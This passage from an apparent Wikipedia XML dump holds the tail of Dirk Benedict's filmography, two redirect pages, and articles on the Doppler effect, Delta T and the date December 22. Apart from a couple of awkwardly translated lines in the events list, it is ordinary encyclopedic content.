*''[[The A-Team]]'' (1983) TV Series - Lieutenant Templeton 'Face' Peck 
*''[[Family in Blue]]'' (1982) (TV) - Matt Malone 
*''[[Ruckus (1981 movie)|Ruckus]]'' (1981) - Kyle Hanson 
*''[[Scruples]]'' (1981) (TV) - Spider Elliott 
*''[[Underground Aces]]'' (1980) - Pete Huffman 
*''[[The Georgia Peaches]]'' (1980) (TV) - Dusty Tyree 
*''[[Scavenger Hunt]]'' (1979) - Jeff Stevens, Mr. Parker's nephew 
*''[[Mission Galactica: The Cylon Attack]]'' (1978) (TV) - Lieutenant Starbuck 
*''[[Battlestar Galactica (1978)|Battlestar Galactica]]'' (1978) (TV) - Lieutenant Starbuck 
*''[[Cruise Into Terror]]'' (1978) (TV) - Simon 
*''[[Journey from Darkness]]'' (1975) (TV) - Bill 
*''[[W]]'' (1974) - William Caulder 
*''[[Chopper One]]'' (1974) TV Series - Officer Gil Foley 
*''[[SSSSSSS]]'' (1973) - David Blake 
*''[[Georgia, Georgia]]'' (1972) - Michael Winters 

===As director===
*''[[Cahoots]]'' (2000) 
*''[[Christina's Dream]]'' (1994) 

===As writer===
*''[[Cahoots]]'' (2000) 

===Notable TV guest appearances===
*''[[Murder, She Wrote]]'' (1984) playing &quot;Gary Harling&quot; in episode: &quot;Frozen Stiff&quot; (episode # 12.10) [[30 November]] [[1995]] 
*''[[Walker, Texas Ranger]]'' (1993) playing &quot;Blair&quot; in episode: &quot;Case Closed&quot; (episode # 3.19) [[29 April]] [[1995]] 
*''[[The Commish]]'' (1991) playing &quot;Gil Higgins&quot; in episode: &quot;All That Glitters&quot; (episode # 3.9) [[27 November]] [[1993]] 
*''[[Baywatch]]'' (1989) playing &quot;Aaron Brody&quot; in episode: &quot;Rookie of the Year&quot; (episode # 3.4) [[5 October]] [[1992]] 
*''[[Alfred Hitchcock Presents]]'' (1985) playing &quot;Dr. Rush&quot; in episode: &quot;In the Name of Science&quot; (episode # 4.13) [[11 March]] [[1989]] 
*''[[Murder, She Wrote]]'' (1984) playing &quot;Dr. David Latimer&quot; in episode: &quot;Smooth Operators&quot; (episode # 5.12) [[12 February]] [[1989]] 
*''[[Hotel]]'' (1983) in episode: &quot;Prized Possessions&quot; 1987 
*''[[Amazing Stories]]'' (1985) in episode: &quot;Remote Control Man&quot; (episode # 1.10) [[8 December]] [[1985]] 
*''[[Hammer House of Mystery and Suspense]]'' (1984) playing &quot;Frank Rowlett&quot; in episode: &quot;Mark of the Devil&quot; 1984 
*''[[The Love Boat]]'' (1977) in episode: &quot;Putting on The Dog/Going to The Dogs/Women's Best Friend/Whose Dog Is It Anyway?&quot; [[26 March]] [[1983]] 
*''The Love Boat'' (1977) in episode: &quot;Captain's Bird, The/That's My Dad/Captive Audience&quot; (episode # 4.91) [[20 December]] [[1980]] 
*''[[Galactica 1980]]'' (1980) playing &quot;Starbuck&quot; in episode: &quot;Return Of Starbuck, The&quot; (episode # 1.10) [[4 May]] [[1980]] 
*''[[Charlie's Angels]]'' (1976) playing &quot;Denny Railsback&quot; in episode: &quot;Jade Trap, The&quot; (episode # 2.24) [[1 March]] [[1978]] 
*''Charlie's Angels'' (1976) playing &quot;Barton&quot; in episode: &quot;Blue Angels, The&quot; (episode # 1.22) [[4 May]] [[1977]] 
*''Charlie's Angels'' (1976) in episode: &quot;Angels on Wheels&quot; (episode # 1.12) [[22 December]] [[1976]] 
* ''[[Donny and Marie]]'' (1976) 
* ''[[Hawaii Five-O]]'' (1968) playing &quot;Walter Clyman&quot; in episode: &quot;Chain of Events&quot; (episode # 5.7) [[24 October]] [[1972]]

==External links==
*{{imdb name|id=0070767|name=Dirk Benedict}}


[[Category:1945 births|Benedict, Dirk]]
[[Category:American actors|Benedict, Dirk]]
[[Category:American film actors|Benedict, Dirk]]
[[Category:American television actors|Benedict, Dirk]]
[[Category:The A-Team actors|Benedict, Dirk]]
[[Category:People from Montana|Benedict, Dirk]]
[[Category:Phi Delta Theta brothers|Benedict, Dirk]]
[[Category:Living people|Benedict, Dirk]]

[[de:Dirk Benedict]]
[[nl:Dirk Benedict]]</text>
    </revision>
  </page>
  <page>
    <title>Discrete Element Method</title>
    <id>8719</id>
    <revision>
      <id>15906678</id>
      <timestamp>2002-07-22T15:55:18Z</timestamp>
      <contributor>
        <ip>213.253.40.160</ip>
      </contributor>
      <comment>redir</comment>
      <text xml:space="preserve">#REDIRECT [[Discrete element method]]</text>
    </revision>
  </page>
  <page>
    <title>Doppler effect</title>
    <id>8724</id>
    <revision>
      <id>41251085</id>
      <timestamp>2006-02-26T01:51:33Z</timestamp>
      <contributor>
        <username>Bogsat</username>
        <id>718014</id>
      </contributor>
      <comment>removed &quot;thea&quot;</comment>
      <text xml:space="preserve">[[Image:Doppler sound.jpg|frame|Sound waves emanating from an ambulance moving to the right. The perceived frequency is higher on the right, and lower on the left.]] 

The '''Doppler effect''', named after [[Christian Andreas Doppler]], is the apparent change in [[frequency]] or [[wavelength]] of a [[wave]] that is perceived by an observer moving relative to the source of the waves.  For waves, such as [[sound]] waves, that propagate in a wave medium, the velocity of the observer and the source are reckoned relative to the medium in which the waves are transmitted.  The total Doppler effect may therefore result from either motion of the source or motion of the observer.  Each of these effects is analyzed separately. For waves which do not require a medium, such as light or gravity in [[special relativity]] only the relative difference in velocity between the observer and the source needs to be considered.

Doppler first proposed the effect in [[1842]] in the monograph ''Über das farbige Licht der Doppelsterne und einige andere Gestirne des Himmels'' (''On the colored light of the binary star and other stars''). The hypothesis was tested for sound waves by the [[Netherlands|Dutch]] scientist [[C.H.D. Buys Ballot|Christoph Hendrik Diederik Buys Ballot]] in [[1845]]. He confirmed that the sound's pitch was higher as the sound source approached him, and lower as the sound source receded from him. [[Hippolyte Fizeau]] discovered independently the same phenomenon on [[electromagnetic wave]]s in [[1848]] (in [[France]], the effect is sometimes called &quot;effet Doppler-Fizeau&quot;).

It is important to realize that the frequency of the sounds that the source ''emits'' does not actually change. To understand what happens, consider the following analogy. Someone throws one ball every second in your direction. Assume that balls travel with constant velocity. If the thrower is stationary, you will receive one ball every second. However, if he is moving towards you, you will receive balls more frequently than that because there will be less spacing between the balls. The converse is true if the person is moving away from you. So it is actually the ''wavelength'' which is affected; as a consequence, the perceived frequency is also affected.

If the moving source is emitting waves through a medium with an actual frequency ''f''&lt;sub&gt;0&lt;/sub&gt;, then an observer stationary relative to the medium detects waves with a frequency ''f'' given by:

:&lt;math&gt;f = f_0 \left ( \frac {v}{v + v_{s,r}} \right )&lt;/math&gt;

where ''v'' is the speed of the waves in the medium and ''v''&lt;sub&gt;s, r&lt;/sub&gt; is the speed of the source with respect to the medium (negative if moving towards the observer, positive if moving away), radial to the observer.

A similar analysis for a moving observer and a stationary source yields the observed frequency (the observer's velocity being represented as ''v''&lt;sub&gt;o&lt;/sub&gt;):

:&lt;math&gt;f = f_0 \left (1 + \frac {v_0}{v} \right )&lt;/math&gt;

These can be generalized into a single vector equation.  Take the coordinate system to be at rest with respect to the medium, whose speed of sound is &lt;math&gt;c&lt;/math&gt;.  There is a source &lt;math&gt;s&lt;/math&gt; moving with velocity &lt;math&gt;\mathbf{v}_s&lt;/math&gt; and emitting waves with a frequency &lt;math&gt;f_s&lt;/math&gt;. There is a detector &lt;math&gt;r&lt;/math&gt; moving with velocity &lt;math&gt;\mathbf{v}_r&lt;/math&gt;, and the unit vector from &lt;math&gt;s&lt;/math&gt; to &lt;math&gt;r&lt;/math&gt; is &lt;math&gt;\mathbf{n}&lt;/math&gt; (i.e. &lt;math&gt;\mathbf{r}_r - \mathbf{r}_s = \mathbf{n} |\mathbf{r}_r - \mathbf{r}_s|&lt;/math&gt;).  Then the frequency &lt;math&gt;f_r&lt;/math&gt; at the detector is found from

:&lt;math&gt;\frac{f_r}{f_s} = \frac {1 - \mathbf{n} \cdot \mathbf{v}_r / c}{1 - \mathbf{n} \cdot \mathbf{v}_s / c}&lt;/math&gt;

If &lt;math&gt;v_s \ll c&lt;/math&gt;, then the change in frequency depends mostly on the relative velocity of the source and detector:

:&lt;math&gt;\frac{f_r}{f_s} \approx 1 - \mathbf{n} \cdot (\mathbf{v}_r - \mathbf{v}_s) / c&lt;/math&gt;

The first attempt to extend Doppler's analysis to [[light]] waves was soon made by [[Armand-Hippolyte Fizeau|Fizeau]].  In fact, light waves do not require a medium to propagate and the correct understanding of the Doppler effect for light requires the use of the [[Special relativity|Special Theory of Relativity]].  See [[relativistic Doppler effect]].

==Applications==

[[Image:Doppler-effect-two-police-cars-diagram.png|thumb|350px|A stationary microphone records moving police sirens at different pitches depending on their relative direction.]]

===Everyday===

The [[siren (noisemaker)|siren]] on a passing [[emergency vehicle]] will start out higher than its stationary pitch, slide down as it passes, and continue lower than its stationary pitch as it recedes from the observer.  Astronomer [[John Dobson (astronomer)|John Dobson]] explained the effect thus:
:&quot;The reason the siren slides is because it doesn't hit you.&quot;
In other words, if the siren approached you directly, the pitch would remain constant (as ''v''&lt;sub&gt;s, r&lt;/sub&gt; is only the radial component) until the vehicle hit you, and then immediately jump to a new lower pitch.  The difference between the higher pitch and rest pitch would be the same as the lower pitch and rest pitch.  Because the vehicle passes by you, the radial velocity does not remain constant, but instead varies as a function of the angle between your line of sight and the siren's velocity:
:&lt;math&gt;v_{s, r}=v_s\cdot \cos{\theta}&lt;/math&gt;
where ''v''&lt;sub&gt;s&lt;/sub&gt; is the velocity of the object (source of waves) with respect to the medium, and &lt;math&gt;\theta&lt;/math&gt; is the angle between the object's forward velocity and the line of sight from the object to the observer.

===Astronomy===
[[Image:Redshift.png|thumb|200px|[[Redshift]] of [[spectral line]]s in the [[optical spectrum]] of a supercluster of distant galaxies (right), as compared to that of the Sun (left).]]
The Doppler effect for [[electromagnetic waves]] such as light, is of great use in [[astronomy]], and results in either a so-called [[redshift]] or [[blueshift]]. It has been used to measure the speed at which [[star|stars]] and [[galaxy|galaxies]] are approaching to, or receding from us, i.e. the '''[[velocity#Polar coordinates|radial velocity]]'''. This is used to detect that an apparently single star is, in fact, a close [[Binary star|binary]] and even to measure the speed of rotation of stars and galaxies.

The use of the Doppler effect for light in [[astronomy]] depends on the fact that the [[electromagnetic spectroscopy|spectra]] of stars are not continuous. They show [[spectral line|absorption lines]] at well defined frequencies that are correlated with the energies required to excite [[electron]]s in various [[Chemical element|elements]] from one level to another. 
The Doppler effect is recognizable in the fact that the absorption lines are not always at the frequencies that are obtained from the spectrum of a stationary light source. Since blue light has a higher frequency than red light, the spectral lines from an approaching astronomical light source show a blueshift and those of receding sources show a redshift.

Among the [[List of nearest stars|nearby stars]], the largest radial velocities with respect to the [[Sun]] are +308 km/s ([[BD-15°4041]], also known as LHS 52, 81.7 light-years away) and -260 km/s ([[Woolley 9722]], also known as Wolf 1106 and LHS 64, 78.2 light-years away). Positive radial velocity means the star is receding from the Sun, negative that it is approaching.

The [[redshift]] effect that shows remote galaxies seem to be moving away from us is ''not'' caused by the Doppler effect, although many laymen believe it is. This effect is caused by the expansion of the [[universe]], which is subtly different, and can be used to estimate the age of the universe (see [[redshift]] and [[Hubbles law|Hubble's Law]]).

===Temperature measurement ===

Another use of the Doppler effect which is found mostly in astronomy, is the estimation of the temperature of a gas which is emitting a [[spectral line]]. Due to the thermal motion of the gas, each emitter can be slightly red or blue shifted, and the net effect is a broadening of the line. This line shape is called a [[Doppler profile]] and the width of the line is proportional to the square root of the temperature of the gas, allowing the Doppler-broadened line to be used to measure the temperature of the emitting gas.

===Radar===

''Main article: [[Doppler radar]]''

The Doppler effect is also used in some forms of [[radar]] to measure the velocity of detected objects. A radar beam is fired at a moving target - a car, for example, as radar is often used by [[police]] to detect speeding motorists - as it recedes from the radar source. Each successive wave has to travel further to reach the car, before being reflected and re-detected near the source. As each wave has to move further, the gap between each wave increases, increasing the wavelength.  In some situations, the radar beam is fired at the moving car as it approaches, in which case each successive wave travels a lesser distance, decreasing the wavelength.  In either situation, calculations from the Doppler effect accurately determine the car's velocity.

The [[Proximity fuze]] which was developed during [[World War II]] also relies on Doppler radar.

===Medical imaging===

An [[echocardiogram]] can within certain limits produce accurate assessment of the direction of blood flow and the velocity of blood and cardiac tissue at any arbitrary point using the doppler effect. One of the limitations is that the [[ultrasound]] beam should be as parallel to the blood flow as possible. Velocity measurements allows assessment of cardiac valve areas and function, any abnormal communications between the left and right side of the heart, any leaking of blood through the valves (valvular regurgitation), and calculation of the [[cardiac output]].  [[Contrast enhanced ultrasound]] using gas-filled microbubble contrast media can be used to improve velocity or other flow-related medical measurements. 

However, &quot;Doppler&quot; has become synonymous with &quot;velocity measurement&quot; in medical imaging. But in many cases it is not the frequency shift (Doppler shift) of the received signal that is measured, but the phase shift (''when'' the received signal arrives).

Velocity measurements of blood flow is also used in other fields of [[medical ultrasonography]], such as [[obstetric ultrasonography]] and [[neurology]].

===Flow measurement===

Instruments such as the [[laser Doppler velocimetry|laser Doppler velocimeter]] (LDV), and [[Acoustics|Acoustic]] Doppler Velocimeter (ADV) have been developed to measure [[velocity|velocities]] in a fluid flow.  The LDV and ADV emit a light or acoustic beam, and measure the doppler shift in wavelengths of reflections from particles moving with the flow.  This technique allows non-intrusive flow measurements, at high precision and high frequency.

==See also==
* [[Relativistic Doppler effect]]
* [[Doppler broadening]]

==External links==
{{Commons|Doppler effect}}
*http://archive.ncsa.uiuc.edu/Cyberia/Bima/doppler.html
*[http://www.falstad.com/ripple/ex-doppler.html Java simulation of Doppler effect]

[[Category:Wave mechanics]]
[[Category:Doppler effects]]

{{Link FA|pl}}

[[bg:Доплеров ефект]]
[[ca:Efecte Doppler]]
[[cs:Dopplerův jev]]
[[da:Dopplereffekt]]{{Link FA|da}}
[[de:Doppler-Effekt]]
[[et:Doppleri efekt]]
[[es:Efecto Doppler]]
[[fr:Effet Doppler-Fizeau]]
[[hr:Dopplerov efekt]]
[[id:Efek Doppler]]
[[it:Effetto Doppler]]
[[he:אפקט דופלר]]
[[hu:Doppler-effektus]]
[[nl:Dopplereffect]]
[[ja:ドップラー効果]]
[[no:Dopplereffekten]]
[[nn:Dopplereffekten]]
[[pl:Efekt Dopplera]]
[[pt:Efeito Doppler]]
[[ro:Efectul Doppler]]
[[ru:Эффект Доплера]]
[[sk:Dopplerov jav]]
[[sr:Доплеров ефекат]]
[[sv:Dopplereffekt]]
[[vi:Hiệu ứng Doppler]]
[[zh:多普勒效应]]</text>
    </revision>
  </page>
  <page>
    <title>Desmodromic</title>
    <id>8725</id>
    <revision>
      <id>15906684</id>
      <timestamp>2004-04-10T15:43:44Z</timestamp>
      <contributor>
        <username>Charles Matthews</username>
        <id>12978</id>
      </contributor>
      <minor />
      <text xml:space="preserve">#REDIRECT [[Desmodromic valve]]</text>
    </revision>
  </page>
  <page>
    <title>Delta T</title>
    <id>8727</id>
    <revision>
      <id>33786077</id>
      <timestamp>2006-01-04T00:31:37Z</timestamp>
      <contributor>
        <ip>84.122.1.142</ip>
      </contributor>
      <text xml:space="preserve">'''Delta T''', '''delta-T''', '''deltaT''', '''ΔT''', or '''DT''' is the time difference obtained by subtracting [[Universal Time]] from [[Terrestrial Time]].

Universal Time (UT) is a time scale based on the rotation of the [[Earth]], which is somewhat irregular over the short term (less than a century), thus any time based on it cannot have an accuracy better than 1 : 10&lt;sup&gt;8&lt;/sup&gt;. But the principal effect is over the long term. Over many centuries [[tidal friction]] inexorably slows Earth's rate of rotation by 2.3 ms/day/cy. However, the melting of continental ice sheets at the end of the last [[ice age]] removed their tremendous weight, allowing the land under them to begin to isostatically rebound upward in the polar regions, which continues to this day, causing Earth's rate of rotation to speed up by 0.6 ms/day/cy. The net [[tidal acceleration]] or the change in the length of the mean solar day (LOD) is +1.7 ms/cy.

Terrestrial Time (TT) is a uniform time scale based on [[International Atomic Time]] (TAI), but corrected to equal the former [[Ephemeris Time]] (ET) by adding 32.184 s (TT = TAI + 32.184 s). ET is the independent variable of time in [[Simon Newcomb]]'s ''Tables of the Sun'', which formed the basis of all astronomical ephemerides from [[1900]] through [[1983]]. ET, in turn, was actually the average mean solar time between 1750 and 1890 (centered on 1820), because that was the period during which the observations on which those tables were based were performed. TAI and hence TT is strictly uniform (every second is the same as every other second), with an accuracy of about 1 : 10&lt;sup&gt;14&lt;/sup&gt;.

Earth's rate of rotation must be integrated to obtain time, which is Earth's angular position (specifically, the orientation of the meridian of Greenwich relative to the fictitious [[mean sun]]). Integrating +1.7 ms/d/cy and centering the resulting parabola on the year 1820 yields (to a first approximation) 31×((Year − 1820)/100)² seconds for ΔT. Smoothed historical measurements of ΔT using total [[solar eclipse]]s are about +16800 s at the year −500, +10600 s at 0, +5700 s at 500, +1600 s at 1000, and +180 s at 1500. &lt;!-- Do not wikilink these years — they assume a year 0, contrary to the Wikipedia Manual of Style, nor are they historical years. --&gt; During the telescopic era, measurements were made by observing occultations of stars by the [[Moon]]. ΔT continued to decrease until it reached a plateau of +11±6 s between 1680 and 1866. For about three decades immediately before 1902 it was negative, reaching −6.64 s. Then it increased to +63.83 s at 2000. It will continue to increase at an ever increasing parabolic rate in the future. This will require the addition of an ever greater number of [[leap second]]s to [[Coordinated Universal Time|UTC]] as long as UTC is kept within one second of UT1. Physically, the meridian of Greenwich in Universal Time is almost always to the east of the meridian in Terrestrial Time, both in the past and in the future. +16800 s or 4 &lt;sup&gt;2&lt;/sup&gt;/&lt;sub&gt;3&lt;/sub&gt; h corresponds to 70°E. This means that at −500 Earth's faster rotation would cause a total solar eclipse to occur 70° to the east of its location calculated using the uniform TT.

All values of ΔT before 1955 depend on observations of the Moon, either via eclipses or occultations. Conservation of angular momentum in the Earth-Moon system requires that the angular momentum lost by the Earth due to tidal friction be transferred to the Moon, increasing its angular momentum, which means that its moment arm (its distance from the Earth) is increased, which via [[Kepler's laws of planetary motion]] causes the Moon to revolve around the Earth at a slower rate. The cited values of ΔT assume that the lunar acceleration due to this affect is Γ = −26&quot;/cy². This is close to the best estimate for Γ as of 2002 of −25.858±0.003&quot;/cy² so ΔT need not be recalculated given the uncertainties and smoothing applied to its current values. Nowadays, UT is the observed orientation of the Earth relative to an inertial reference frame formed by extra-galactic radio sources, modified by an adopted ratio between [[sidereal time]] and solar time. Its measurement is performed by the [[International Earth Rotation and Reference Systems Service]] (IERS).

== References ==
* [[F.R. Stephenson]], L.V. Morrison. &quot;Long-term fluctuations in the Earth's rotation: 700 BC to AD 1990&quot;. ''[[Philosophical Transactions of the Royal Society of London]]'', Series A '''351''' (1995) 165-202. [http://links.jstor.org/sici?sici=0962-8428%2819950415%29351%3A1695%3C165%3ALFITER%3E2.0.CO%3B2-%23 JSTOR link].
* F.R. Stephenson. ''Historical Eclipses and Earth's Rotation''. Cambridge University Press, 1997. [[ISBN]] 0-521-46194-4
*[http://www.ras.org.uk/pdfs/Stephenson.pdf Historical Eclipses and Earth's Rotation by F. Richard Stephenson] 242KB PDF file

== External links ==
*[http://www.phys.uu.nl/~vgent/astro/deltatime.htm Delta T by Robert van Gent]
*[http://user.online.be/felixverbelen/dt.htm Delta T by Felix Verbelen]
*[http://www.hermetic.ch/cal_stud/meeus1.htm Delta T by Jean Meeus]
*[http://www.hermetic.ch/chcal/delta_t.htm Delta T by Peter Meyer]
*[http://sunearth.gsfc.nasa.gov/eclipse/SEhelp/rotation.html Eclipse Predictions and Earth's Rotation by Fred Espenak]

[[Category:Timekeeping]]

[[es:Delta T]]</text>
    </revision>
  </page>
  <page>
    <title>December 22</title>
    <id>8728</id>
    <revision>
      <id>42012178</id>
      <timestamp>2006-03-03T05:18:56Z</timestamp>
      <contributor>
        <username>Rklawton</username>
        <id>754622</id>
      </contributor>
      <comment>/* Deaths */ removed excessive bio</comment>
      <text xml:space="preserve">'''[[December 22]]''' is the 356th day of the year (357th in [[leap year]]s) in the [[Gregorian Calendar]]. There are 9 days remaining.

{{DecemberCalendar}}

==Events==
* [[1603]] - [[Mehmed III]] [[Ottoman dynasty| Sultan]] of the [[Ottoman Empire]] dies and is succeeded by his son [[Ahmed I]].
* [[1790]] - Storm and capture Russian armies And. Century of [[Suvorov]] of a turkish fortress [[Izmail]].
*[[1807]] - The [[Embargo Act]], forbidding trade with all foreign countries, is passed by the [[Congress of the United States|U.S. Congress]], at the urging of [[President of the United States|President]] [[Thomas Jefferson]].
*[[1809]] - The [[Non-Intercourse Act]], lifting the [[Embargo Act]] except for the [[United Kingdom]] and [[France]], passes the [[Congress of the United States|U.S. Congress]].
*[[1849]] - The execution of [[Fyodor Dostoevsky]] is canceled at the last second.
*[[1851]] - The first [[freight train]] is operated in [[Roorkee]] in [[India]].
*[[1864]] - [[Savannah, Georgia]] falls to General [[William Tecumseh Sherman]], concluding his &quot;[[Sherman's March to the Sea|March to the Sea]]&quot;.
*[[1885]] - [[Ito Hirobumi]], a [[samurai]], became the first [[Prime Minister of Japan]].
*[[1894]] - The [[Dreyfus affair]] begins, in [[France]], when [[Alfred Dreyfus]] is wrongly convicted of [[treason]], on [[antisemitic]] grounds.
*[[1920]] - Opening of 8-th All-Russia congress of Advice in [[Moscow]] (on December, 29th). The statement of the [[GOELRO plan]]. 
*[[1937]] - The [[Lincoln Tunnel]] opens to traffic in [[New York City]].
*[[1944]] - [[Germany|German]] troops demand the surrender of [[United States]] troops at [[Bastogne]], [[Belgium]].  See [[Battle of the Bulge]].
*1944 - [[People's Army of Vietnam|Vietnam People's Army]] is formed to resist [[Japan]]ese occupation of [[Vietnam]].
*[[1963]] - [[Cruise ship]] ''[[Johan van Oldenbarnevelt (ship)|Lakonia]]'' burns 180 miles north of [[Madeira]] with the loss of 128 lives.
*[[1964]] - [[Comedian]] [[Lenny Bruce]] is convicted of [[obscenity]].
*[[1965]] - In the [[United Kingdom]], a 70mph [[speed limit]] is applied to all rural roads including [[motorway]]s for the first time. Previously, there had been no speed limit.
*[[1974]] - [[Grande Comore]], [[Anjouan]] and [[Mohéli]] vote to become the independent nation of [[Comoros]]. [[Mayotte]] remains under [[France|French]] administration.
*[[1984]] - Subway vigilante [[Bernhard Hugo Goetz]] shoots four [[African-American]] men on an express train in [[The Bronx]] borough of [[New York City]].
*[[1988]] - [[Chico Mendes]], a [[Brazil]]ian [[rubber tapper]], [[unionist]] and [[environmental activist]], is [[assassin]]ated.
*[[1989]] - After a week of bloody demonstrations, [[Ion Iliescu]] takes over as president of [[Romania]], ending [[Nicolae Ceauşescu]]'s [[Communism|Communist]] dictatorship.
*1989 - [[Berlin]]'s [[Brandenburg Gate]] re-opens after nearly 30 years, effectively ending the division of [[East Germany|East]] and [[West Germany]].
*1989 - Two tourist coaches collide on the [[Pacific Highway]] north of [[Kempsey NSW]] ([[Kempsey Bus Crash]]).
*[[1990]] - [[Lech Wałęsa]] is sworn in as [[President of Poland]].
*[[1997]] - [[Acteal massacre]]: Attendees at a prayer meeting of [[Roman Catholic]] activists for [[indigenous]] causes in the small village of [[Acteal]] in the [[Mexico|Mexican]] state of [[Chiapas]] are [[massacre]]d by [[paramilitary]] forces.
*[[1999]] - The [[Spain|Spanish]] [[Spanish Civil Guard|Civil Guard]] finds near [[Calatayud]] ([[Zaragoza]]) another van loaded by [[ETA]] with 750 kg of [[explosives]] (see related event on [[December 21]] [[1999]]).
*1999 - [[Tandja Mamadou]] becomes [[List of Presidents of Niger|President]] of [[Niger]].
*[[2001]] - [[Burhanuddin Rabbani]], political leader of the [[Afghan Northern Alliance]], hands over power in [[Afghanistan]] to the interim government headed by President [[Hamid Karzai]].
*2001 - [[Richard Reid (terrorist)|Richard Reid]] attempts to destroy a passenger airliner by igniting explosives hidden in his shoes aboard [[American Airlines Flight 63]].
*2001 - [[Cc the cat]], the first [[Cloning|cloned]] [[pet]], is born.

==Births==
*[[1178]] - [[Emperor Antoku]] of Japan (d. [[1185]])
*[[1639]] - [[Jean Racine]], French dramatist (d. [[1699]])
*[[1666]] - [[Guru Gobind Singh]], (d. [[1708]])
*[[1694]] - [[Hermann Samuel Reimarus]], German philosopher and writer (b. [[1768]])
*[[1696]] - [[James Oglethorpe]], English general and founder of the state of Georgia (d. [[1785]])
*[[1723]] - [[Karl Friedrich Abel]], German composer (d. [[1787]])
*[[1805]] - [[John Obadiah Westwood]], British entomologist (d. [[1893]])
*[[1807]] - [[Johann Sebastian Welhaven]], Norwegian poet (d. [[1873]])
*[[1819]] - [[Franz Wilhelm Abt]], German composer (d. [[1870]])
*[[1853]] - [[Teresa Carreño]], Venezuelan pianist (d. [[1917]])
*[[1856]] - [[Frank B. Kellogg]], [[U.S. Secretary of State]], recipient of the [[Nobel Peace Prize]] (d. [[1937]])
*[[1858]] - [[Giacomo Puccini]], Italian composer (d. [[1924]])
*[[1860]] - [[Austin Norman Palmer]], American penmanship innovator (d. [[1927]])
*[[1862]] - [[Connie Mack (baseball)|Connie Mack]], baseball executive and manager (d. [[1956]])
*[[1869]] - [[Edwin Arlington Robinson]], American poet (d. [[1935]])
*[[1872]] - [[Camille Guérin]], French veterinarian and bacteriologist (d. [[1961]])
*[[1874]] - [[Franz Schmidt]], Austrian composer (d. [[1939]])
*[[1876]] - [[Filippo Tommaso Marinetti]], Italian poet and editor (d. [[1944]])
*[[1883]] - [[Edgard Varèse]] French-born composer (d. [[1965]])
*[[1887]] - [[Srinivasa Ramanujan]], Indian mathematician (d. [[1920]])
*[[1888]] - [[J. Arthur Rank]], American producer (d. [[1972]])
*[[1898]] - [[Vladimir Aleksandrovich Fock]], Russian physicist (d. [[1974]])
*[[1899]] - [[Gustav Gründgens]], German actor and director (d. [[1963]])
*[[1903]] - [[Haldan Keffer Hartline]], American physiologist, [[Nobel Prize in Physiology or Medicine|Nobel Prize]] laureate (d. [[1983]])
*[[1905]] - [[Kenneth Rexroth]], American poet (d. [[1982]])
*[[1907]] - Dame [[Peggy Ashcroft]], English actress (d. [[1991]])
*[[1909]] - [[Patricia Hayes]], actress on 'Carry On' series, Mama The Turk in &quot;Superbitch&quot;(1973) (d. [[1998]])
*[[1912]] - [[Lady Bird Johnson]], [[First Lady of the United States]]
*[[1917]] - [[Gene Rayburn]], American game show host (d. [[1999]])
*[[1922]] - [[Barbara Billingsley]], American actress
*1922 - [[Jack Brooks (politician)|Jack Brooks]], American politician
*1922 - [[Ruth Roman]], American actress (d. [[1999]])
*[[1937]] - [[Eduard Uspensky]], Russian writer
*[[1939]] - [[James Gurley]], American musician
*[[1943]] - [[Paul Wolfowitz]], American politician
*[[1944]] - [[Steve Carlton]], baseball player
*[[1945]] - [[Diane Sawyer]], American journalist
*[[1946]] - [[Rick Nielsen]], American musician ([[Cheap Trick]])
*[[1948]] - [[Lynne Thigpen]], American actress (d. [[2003]])
*[[1948]] - [[Noel Edmonds]], UK game show host
*[[1949]] - [[Maurice Gibb]], Australian musician ([[The Bee Gees]]) (d. [[2003]])
*1949 - [[Robin Gibb]], Australian musician ([[The Bee Gees]])
*[[1951]] - [[Gerald Cavendish Grosvenor]], Duke of Westminster
*[[1953]] - [[Ian Turnbull (hockey)|Ian Turnbull]], Canadian ice hockey player
*[[1957]] - [[Carole James]], Canadian politician
*[[1958]] - [[Frank Gambale]], Australian guitarist
*1958 - [[Mikael Nordfors]], Swedish physician and author
*[[1962]] - [[Ralph Fiennes]], English actor
*[[1967]] - [[Dan Petrescu]], Romanian footballer
*1967 - [[Richey James Edwards]], Manic Street Preachers songwriter/guitarist (d. [[1995]])
*[[1969]] - [[Myriam Bédard]], Canadian athlete
*[[1975]] - [[Stanislav Neckář]], Czech ice hockey player
*[[1977]] - [[Steve Kariya]], Canadian ice hockey player
*[[1983]] - [[Jennifer Hawkins]], Miss Universe 2004

==Deaths==
*[[1100]] - Duke [[Bretislaus II of Bohemia]]
*[[1603]] - [[Mehmed III]], [[Ottoman Emperor]] (b. [[1566]])
*[[1646]] - [[Peter Mogila]], Orthodox Metropolitan of Kiev and Galicia (b. [[1596]])
*[[1660]] - [[André Tacquet]], Belgian mathematician (b. [[1612]])
*[[1681]] - [[Richard Alleine]], English Puritan clergyman (b. [[1611]])
*[[1708]] - [[Hedwig Sophia, duchess of Holstein-Gottorp]], Swedish writer (b. [[1681]])
*[[1738]] - [[Constantia Jones]], British prostitute (executed)
*[[1767]] - [[John Newbery]], English publisher (b. [[1713]])
*[[1788]] - [[Percivall Pott]], English physician and surgeon (b. [[1714]])
*[[1806]] - [[William Vernon]], American merchant (b. [[1719]])
*[[1870]] - [[Gustavo Adolfo Bécquer]], Spanish poet and writer (b. [[1836]])
*[[1828]] - [[William Hyde Wollaston]], English chemist (b. [[1766]])
*[[1880]] - [[George Eliot]], English writer (b. [[1819]])
*[[1899]] - [[Dwight L. Moody]], American evangelist (b. [[1837]])
*[[1902]] - [[Richard von Krafft-Ebing]], German psychiatrist (b. [[1840]])
*[[1936]] - [[Dragutin Gorjanovic-Kramberger]], Croatian paleontologist (b. [[1856]])
*[[1939]] - [[Ma Rainey]], American singer (b. [[1886]])
*[[1940]] - [[Nathanael West]], American writer (b. [[1903]])
*[[1942]] - [[Franz Boas]], German anthropologist (b. [[1858]])
*[[1943]] - [[Beatrix Potter]], English writer (b. [[1866]])
*[[1947]] - [[Hans Aumeier]], German Nazi official and concentration camp commandant (b. [[1906]])
*[[1959]] - [[Gilda Gray]], Polish-born American dancer and actress (b. [[1901]])
*[[1965]] - [[Richard Dimbleby]], English journalist and broadcaster (b. [[1913]])
*[[1979]] - [[Darryl F. Zanuck]], American producer (b. [[1902]])
*[[1980]] - [[Karl Dönitz]], German politician and U-boat commander (b. [[1891]])
*[[1985]] - [[D. Boon]], American singer and guitarist ([[The Minutemen (band)|The Minutemen]]) (b. [[1958]])
*[[1988]] - [[Chico Mendes]], Brazilian rubber tapper, unionist, and environmental activist (assassinated) (b. [[1944]])
*[[1989]] - [[Samuel Beckett]], Irish writer, [[Nobel Prize in Literature|Nobel Prize]] laureate (b. [[1906]])
